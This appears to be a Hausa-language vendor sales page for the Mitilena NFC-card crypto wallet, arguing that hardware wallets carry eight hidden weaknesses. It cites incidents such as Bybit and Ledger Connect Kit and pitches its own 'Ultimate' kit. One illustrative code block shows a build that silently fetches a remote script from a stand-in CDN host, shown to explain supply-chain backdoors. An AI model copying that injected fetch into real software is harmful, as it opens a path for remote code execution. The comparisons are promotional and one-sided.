ONLINE · 22,000+ COINS Ƙirƙiri walletƘirƙiri

Hardware wallets · rashin bayyana

Rashin bayyana na hardware wallet

Kuna saya na'ura don rufe ramuka. Sababbi suna zuwa tare da ita: firmware, sabuntawa, sabis a kwamfuta, allo, akwati, account na mai sayarwa. Hanyoyi takwas da bita ke ɗauka a matsayin fa'ida — da hanyoyi takwas da aka ɗauki kuɗi ta su a 2020–2026.

Lahani takwas Abin da ke cikin kayan

Abubuwan da suka faru da kwanaki da adadi Daga takardun mai kera Muna auna kayan mu akan wannan jerin

Farashin kuskureshari'o'i na jama'a

2026Coldcard · rashin ƙarfin random a firmware$100M+

2025Bybit · masu sa hannu sun sa hannu abin da ba su gani ba$1.5B

2024Dark Skippy · seed yana zubowa ta signatures biyubincike

2023Ledger Connect Kit · backdoor a library$600K

2021App wallet ƙarya a App Store17,1 BTC

2020Zubewar bayanan Ledger · phishing shekaru da yawamutane 270,000

Lahani takwas

Kowace hanya da bita ke yabo rami ne daban

Hardware wallet yana rufe rami ɗaya: mabuɗi ba ya sake zama a waya da intanet. Amma na'urar ba fanko ba ce. Tana da firmware, sabuntawa, shirin desktop, allo, akwati, mai sayarwa da adireshinku — kuma kowace hanya tana ƙara saman hari da ba ku da shi a da. A ƙasa hanyoyi takwas: abin da bita ke faɗa, yadda aka ɗauki kuɗi ta su, yadda ake rufe rami, da ko kayan mu yana da wannan hanya.

Lahani 01

Firmware da ke ƙirƙirar mabuɗinku

A bitoci: «chip mai tsaro — ana ƙirƙirar mabuɗi a cikin na'ura kuma ba ya barinta»

Mabuɗi babban lamba ce random, kuma firmware ke yin ta. Kuskure ɗaya a can — mabuɗi sun yi ƙanƙanta fiye da yadda kuke tsammani: ana iya ƙirgaje su ga duk masu mallaka lokaci ɗaya, ba tare da shiga na'ura ba, shekaru bayan saya. Chip ba shi da alaka; rami yana sama da shi.

Abinda ya faru

$100M+

Coldcard, Yuli 2026: kuskuren ginin firmware tun 2021 ya maye gurbin hardware RNG da rauni ɗaya da aka shuka daga serial na na'ura da timer. Ƙarfin mabuɗi ya faɗi kusan bits 40; an kwashe addresses 5,000+.

Yadda ake rufe rami

Za ku iya kawo random naku: jefa dice, jumlar ku. Wallet da ke karɓar entropy daga gare ku ba ta dogara ga kuskuren firmware ɗaya ba.

Ba mu da wannan hanya

Babu firmware a katin — mai ɗauka ne da aka ɓoye. Mitilena Air yana ƙirƙirar mabuɗi daga system RNG na na'ura, kuma za ku iya saita seed phrase naku maimakon kalmomi random.

Lahani 02

Sabuntawa da ake tilasta ku shigar

A bitoci: «mai kera yana aikawa da sabuntawar tsaro akai-akai»

Kowace sabuntawa lokaci ne da za a iya maye gurbin firmware. Firmware da aka yi wa magudi yana ɓoye gutsun seed a signatures biyu ko uku na yau da kullum yayin da na'urar ke kama da al'ada daga waje. Barin sabuntawa ma ba zaɓi ba ne: ana gyara ramuka da waɗannan sabuntawa.

Abinda ya faru

signatures 2

Dark Skippy, Agusta 2024: masu bincike sun nuna cewa firmware mugunta na hardware wallet zai iya fitar da duk seed ta canja wuri biyu. Sabuntawa ɗaya daga wuri mara kyau ya isa.

Yadda ake rufe rami

Inda firmware ke zuwa da ko na'urar ke tabbatar da signature ɗinta. Mafi kyau shine lokacin da babu abin da za a sabunta.

Ba mu da wannan hanya

Babu abin da za a sabunta ko maye gurbinsa a katin. Ana sa hannu a app na waya; gininsa an sa hannu kuma suna zuwa daga App Store da Google Play — kamar kowace app da kuke gani kuke rufe da kanku.

Lahani 03 · Ji rashin hankali

A bitoci: «app desktop mai sauƙi na mai kera»

Wallet don rashin amana da ke zuwa da sabis a bangon baya

Kuna saya na'ura don dalili ɗaya: don ku daina amincewa da kwamfuta. Domin ta yi aiki, dole ku shigar da sabis a bangon baya a wannan kwamfutar. Ba ku rubuta shi ba, ba ku fara shi ba, ba ku sarrafa shi ba: yana tashi tare da OS, yana saurare port da kowace shiri a na'urarku zai iya bugawa, kuma yana yin wani abu yanzu — mene ne ainihi, ba ku sani ba kuma ba za ku taɓa tabbatarwa ba.

Ya ci gaba a bangon baya bayan kun rufe wallet. Shekaru. A ɗaya daga manyan masu kera ya kasance sabis «gadar» daban; a 2025 sun ɓoye shi a cikin app ɗin kansa — sabis yana nan, kawai yana mutuwa tare da window. Ga yawancin sauran, ba tare da shirin desktop ba na'urar maɓalli ce kawai. A Linux ƙara dokokin udev ko tsarin ba zai ba da USB ba.

Don haka abin da kuka saya don ku daina dogaro ga shirye-shiryen kwamfuta ba ya aiki ba tare da shirin kwamfuta ba. Kuma ba wanda kuke gani ba — wanda ke gudana a ƙarƙashinsa.

Ba mu da wannan hanya

Ba a shigar da komai a kwamfuta: babu sabis, babu driver, babu port. Matsakaici shine NFC chip da ya riga ya kasance a wayarku, mai kera waya ya yi shi kuma OS ke sarrafa shi: yana aiki kawai lokacin da app a buɗe kuma ku da kanku kuka taɓa katin, kuma waya tana neman izini kowane lokaci. Katin mara aiki ne: babu baturi, babu rediyo, ba ya yin komai da kansa. Rufe app — babu saura da ke gudana ba tare da ku ba. Gaskiya: har yanzu ana buƙatar app na waya, kuma kamar kowace ce — kuna ganinta, kuna fara ta, kuna rufe ta da kanku. Babu wanda ke zaune a ɗakin kayan aiki.

Mai sa ido na tsarinAN RUFE WALLET

TsarinYanayiLokacin aiki

HW Wallet Appwallet

ku ne kuka rufe-

hwwalletdsabis a bangon baya · gadar USB

yana gudana412d 06:14

tsarin ya fara shi a shigaba za a iya rufe ba — sabis ne

Mockup; sunaye misali ne. Wannan shine yadda kwamfuta da ɗaya daga shahararrun USB wallets ta kasance kafin 2025; sai aka gina «gadar» a cikin app ɗin kansa — sabis ɗaya, kawai ba a ganin ta a jerin ba.

Misali

Gida don sirri — da ɗan haya a ɗakin kayan aiki

Kun so gida don sirri. Kun saya. Sai kun buƙaci tsaro — kun shigar. Domin shirin tsaro ya yi aiki, an ce ku bar mutum da riga ya shiga gida wanda ke zaune a ɗakin kayan aikinku dare da rana, yana riƙe mabuɗin kowace ƙofa, kuma yana bayar da rahoto ga wani. Ba ku ɗauke shi aiki ba, ba za ku iya kore shi ba, abin da yake yi da dare — ba ku sani ba.

Shi «ɗanmu» ne, ba shakka. An rubuta a kwangilar. Kun so sirri kuka sami maye gurbinsa: gida da ɗan haya da ba ku zaɓa ba.

Lahani 04 · Open source ba audit ba ne

A bitoci: «open source — kowa zai iya tabbatarwa»

Open source yadda programmers ke aiki tare ne, ba alamar cewa shirin ba ya sata ba

An ƙirƙiri open source don mutane su raba shirye-shirye su gyara su tare. A matsayin kayan haɗin gwiwa yana da kyau. Bai taɓa zama hatimin inganci cewa «wannan software ba zai sace kuɗinku ba» ba, kuma ga dalili: ba ku yi amfani da source code ba. Kuna amfani da abin da kuka zazzage.

Tsakanin GitHub repo da fayil a wayarku akwai gini, app store, sabuntawa, server. A kowane mataki na waɗannan layi ɗaya zai iya shiga code wanda ke jawo komai daga ko'ina — kuma ba zai kasance a repo ba. Ba za ku iya kwatanta kwafin ku da source ba: stores suna aika fayil da aka tara; web wallet tana samun duk code da server ya zaɓa ya ba ku yau; browser extension yana sabuntawa shiru da dare.

«Buɗe» yana nufin wasu mutane za su iya duba wani nau'i a wani rana. Abin da kwafin ku ke yi yanzu — ba wannan ma'anar ba ce.

A repo · github.com/…/wallet/send.js

// send.js
import { sign } from './crypto'
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

A wayarku · app-2.4.21.min.js

// send.js — build
import { sign } from './crypto'
;(async () => {
  var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Layi ɗaya a gini. Ba a repo ba, ba a ganin a store ba, yana gudana a na'urarku.

Buɗewa bai hana kowane daga waɗannan shari'o'i ba

Ledger Connect Kit2023

library buɗe a GitHub; an buga nau'i mugunta a npm; shafuka da yawa sun ɗora shi kai tsaye cikin sa'o'i

Copay / event-stream2018

wallet buɗe; backdoor ya zo ta dependency da aka yi niyya musamman gare ta

xz utils2024

buɗe shekaru ashirin; backdoor ya zauna a releases har sai injiniya ɗaya ya lura cewa shiga SSH ya yi jinkiri daƙiƙa rabin

Coldcard2026

firmware open-source; kuskuren gini na shekaru biyar ya maye gurbin hardware RNG da rauni — an ƙirgaje mabuɗi ba tare da shiga na'ura ba, addresses 5,000+, $100M+

Abin da ke aiki ainihi

Ba karatun code na wani ba — gwaje-gwaje biyu da kowa zai iya yi. Na farko, audit na hali: sanya intercepting proxy a kwamfutarku, kai app ta cikinsa, kuma ku kalli abin da yake aikawa da inda. Ba lallai ku karanta code ba — traffic yana bayyane gaba ɗaya. Na biyu, tsari inda code ba shi da abin da zai sace: idan mabuɗi ba ya taɓa zama a na'ura da intanet, kowace layi a kowace sabuntawa ba ta da ƙarfi — ba ta da abin da za ta aiko.

Yadda muke yi

Mu da kanmu muna ba da na farko: ku gudanar da app ɗin mu ta proxy, nau'in yanar gizo ta browser DevTools, ku duba kowane buƙata. Mabuɗin sa hannu da seed ba za su bayyana ba; kawai ƙayyadaddun shine Monero view key — an yi magana a shafin «yadda canja wuri ke tafiya». Na biyu yana cikin kayan: mabuɗi yana haihuwa a Mitilena Air a na'ura ba tare da intanet ba, yana rayuwa a katin, kuma signature kawai ke isa ga app kan layi — babu saura da za a proxy a can. Kuma offline a nan na gaskiya ne: a yanayin air-gap na'urar mabuɗi ba ta haɗe da komai ba — babu kebul, babu Bluetooth; canja wuri yana shiga yana fita a matsayin QR code da kuke gani da idanu. Ba wallet «ajiya sanyi» a kebul da ke rataye a kwamfuta kan layi da sabis ɗinta da ke musanya wanda ba a sani ba.

Lahani 05

Allo da ba ya nuna abin da kuke sa hannu

A bitoci: «tabbatar a allon na'ura — virus a kwamfuta ba shi da ƙarfi»

Allon ƙanƙane ne, kuma sau da yawa yana nuna hash ko «kira na contract», ba adireshin da adadin ba. Kuna tabbatar da abin da ba za ku iya gani ba — kuma signature har yanzu na gaskiya ne, naku. Allo yana ba da jin iko da ba ya nan.

Abinda ya faru

$1.5B

Bybit, Fabrairu 2025: masu sa hannu da hardware wallets sun tabbatar da canja wuri da ya yi kama da na al'ada a UI. Na'urorin sun nuna bayanai da ɗan adam ba zai iya tabbatarwa ba.

Yadda ake rufe rami

Mai karɓa, adadi, da nau'in aiki a harshen mutum — ba hash ba — da maɓallin ƙi ɗaya.

Yadda muke yi

Akwai allo, amma allon waya ne: adireshi, adadi, da nau'in buƙata a kalmomi — canja wuri, kira na contract, izini — da maɓallin Ƙi. Domin manyan adadi — na'ura offline daban da ke karɓar cikakken canja wuri.

Lahani 06

Akwati da seed ya riga ya kasance a ciki

A bitoci: «ana aikawa a akwati rufe da hatimin tsaro»

Na'ura ta jiki tana nufin jigilar kaya, masu matsakaici, da kasuwannin «rangwame». Wallet tana zuwa an riga an saita, da seed a takarda a ciki. Ko app kama a store tana ce ku «shigar da seed don kunna».

Abinda ya faru

17,1 BTC

App Store, 2021: mai hardware wallet ya shigar da seed a app kama ya rasa BTC 17.1. A wannan shekara, bayan zubewar DB, an aiko wa abokan cinikin Ledger na'urori ƙarya da wasiƙa «ku ƙaura seed zuwa sabon».

Yadda ake rufe rami

Ku fara shi da kanku kuma kar ku yi amfani da seed da ya zo an riga an rubuta. Hatimi ba tabbatarwa ba ne; tabbatarwa shine ku ne kuka ƙirƙiri mabuɗi.

Yadda muke yi

Katunan suna zuwa fanko: ku ne kuke ƙirƙirar mabuɗi kuna rubuta shi da kanku — ba zai iya kasancewa seed shirye a akwati ba. App tana zuwa kawai daga App Store da Google Play ta hanyar hanyoyin shafin; tana neman seed kawai a shigo da sa hannu.

Lahani 07

Account na mai sayarwa

A bitoci: «garanti resmi, tallafi, da account na kai»

Don saya na'ura kuna ba mai kera suna, email, da adireshin jigilar kaya. Tsaronku yanzu ya dogara ga bayanansu. Idan ya zubo — shekaru za ku sami saƙonni «tabbatar da seed a sabuwar na'ura», wani lokaci da fakitoci.

Abinda ya faru

mutane 270,000

Ledger, 2020: bayanan masu saya 270,000 sun zubo, har da adiresoshin wasiƙa. Email, kira, da fakitoci da ke neman ku «ƙaura» seed suna ci gaba har yau.

Yadda ake rufe rami

Ƙarancin abin da suke sani game da ku, ƙarancin hanyar hari: saya ba tare da account ba, tallafi da ba ya taɓa neman seed, da doka «ɗan sanda ne kawai ke neman seed».

Ba mu da wannan hanya

Wallet tana aiki ba tare da rajista ba — babu account. Mai sayarwa ya san adireshin jigilar kaya kawai. Tallafi ko app ba sa neman seed.

Lahani 08

Na'ura ɗaya da takarda ɗaya

A bitoci: «kwandon ƙarfi, allo babba, baturi na mako»

Yawan sassa, yawan karyewa: connector, allo, baturi. Farfadowa ta rataya a takardar seed ɗaya — jikakƙe, ɓace a ƙaura, an ɗauki hoto «don tsaro». Mafi yawan dalilin asara ba hack ba ne.

Abinda ya faru

≈20 % BTC

Chainalysis ta ƙiyasta kusan kashi ɗaya cikin biyar na duk bitcoin ya ɓace har abada — galibi daga mabuɗi da aka rasa, ba hacks ba.

Yadda ake rufe rami

Nawa kwafin mabuɗi ke zuwa a akwati da a wane tsari, me ke faruwa idan na'urar ta ɓace, da ko akwai abu a cikinta da zai iya karyewa.

Ba mu da wannan hanya

Babu allo, baturi, ko connector — babu abin da zai karye. Kuma ba kwafi ɗaya ba: kwafi biyar masu kama a akwati — katunan NFC biyu da stickers stealth uku a filastik mai hana ruwa, shekaru 10+.

Checklist

Abin da bai kamata ya kasance a wallet

Hanyoyi takwas ga lahani takwas. Jerin ya dace da kowace wallet — hardware, waya, browser. Ku yi alama abin da wadda kuke zaɓa take da shi — da namu ma.

Mabuɗi da software kawai ya ƙirƙiraba tare da random naku ba — jumlar ku ko dice

Sabuntawa inda mabuɗi ke zaunekowace sabuntawa dama ce ta maye gurbin code

Sabis, driver, ko port a kwamfutaduba lahani 03

Alamar «open source» maimakon tsarimabuɗi yana inda code na waje zai iya isa

Allo da ke nuna hash maimakon adireshi da adadikuma babu maɓallin Ƙi

Seed da ya zo an riga an rubutaa akwati, a wasiƙa, a «app ƙarfafawa»

Account na mai sayarwada tallafi da zai iya neman seed

Kwafi ɗaya da sassa da ke karyewaallo, baturi, connector, takarda ɗaya

A wannan jerin, kayan Ultimate ba shi da ɗaya daga hanyoyi takwas. A akwati: katunan NFC 2 da stickers stealth 3, Mitilena Air (mabuɗi ba tare da intanet ba) da Mitilena Keys (sa hannu ba tare da intanet ba). Katunan suna zuwa fanko: ku ne kuke ƙirƙira kuna ɓoye mabuɗi — ba chip na masana'anta ba. Abun ciki da farashi →

Ultimate · kayan offline

Ba «secure chip» na masana'anta ba — mai ɗauka da kuke ɓoye

Katunan suna zuwa fanko. Kuna ƙirƙirar mabuɗi a Mitilena Air a waya ba tare da intanet ba kuna rubuta shi da kanku. Sa hannu yana ta Mitilena Keys, shi ma offline: canja wuri yana tafiya da QR. Kwafi biyar iri ɗaya a akwati: katunan NFC 2 da stickers stealth 3 a filastik mai hana ruwa. Networks 18, coins 20,000+, har da USDT.

Ba a shigar da komai a kwamfuta

Babu firmware, sabuntawa, allo, ko baturi

Canja wuri zuwa waya offline — da sauti ko QR, babu kebul ko USB

Yana aiki da app Mitilena kyauta a waya

Filastik mai hana ruwa, rayuwa shekaru 10+

Jigilar kaya duniya · mitilena-store.com

Ultimate · ƙirƙira da sa hannu offline

€369€439

Katunan NFC 2 · stickers stealth 3 · Mitilena Air · lasisin Mitilena Keys

Saya Ultimate · €369 Basic da Premium — duba duk shirye-shirye

FAQ

Abin da mutane ke tambaya bayan karatu zuwa nan

Fa'ida da lahani hardware wallet — ta gajere?

Babbar fa'ida ɗaya: mabuɗi ba ya a waya da intanet. Lahanin su ne hanyoyi takwas a sama — kowanne yana ƙara saman hari. Hardware wallet mai kyau shine wadda ke da ƙarancin hanyoyi, ba yawa ba.

Idan waya ta lalace fa?

Da kati a babbar wayarku mabuɗi yana bayyana a wuri keɓe na daƙiƙar sa hannu — haɗari ɗaya da kowace wallet waya, kawai gajere. Domin adadi da ke tsoratar da ku — Layer na biyu: sa hannu a na'ura offline daban da canja wuri ke isa ta QR.

Idan an sace katin ko ya ɓace?

Ba tare da kalmar sirri ba katin da sticker filastik ne mara amfani — mabuɗi a kansu an ɓoye. Kwafin da ya ɓace ana maye gurbinsa da sauran huɗu: katuna biyu da stickers uku daga akwati kwafi ne.

Shin kuna buƙatar sabunta firmware na hardware wallet?

Idan mai kera ya rufe rami — eh, kuma wannan shine lokacin da za a iya maye gurbin firmware: duba tushe da signature. Mai ɗauka ba firmware ba shi da irin wannan zaɓi — babu abin da za a sabunta, babu abin da za a maye gurbinsa.

Yaya wannan ya bambanta da USB wallet?

Ƙarancin matsakaici: babu kebul, driver, sabis a bangon baya, ko shirin desktop. Matsakaici ɗaya — NFC chip na wayarku — kuma yana amsa muku da OS, ba mai kera wallet ba.

Open source yana nufin aminci?

Yana nufin wani zai iya duba, wani lokaci. Ba ku yi amfani da code ba amma abin da kuka zazzage, kuma ba za ku iya kwatanta ɗaya da ɗayan ba. Aminci yana zuwa daga tsari inda mabuɗi ba ya inda code na waje zai iya isa.

Katunan NFC da ƙirƙira da sa hannu offline

Kwafin mabuɗi 5 · Air · Keys · ko wallet kyauta a daƙiƙa 30 · Me ya sa hardware wallet da ake kira «ajiya sanyi» amma ya dogara ga secure chip na masana'anta sau da yawa ƙarya ne na cold storage →

Saya Ultimate · €369 Ƙirƙiri wallet kyauta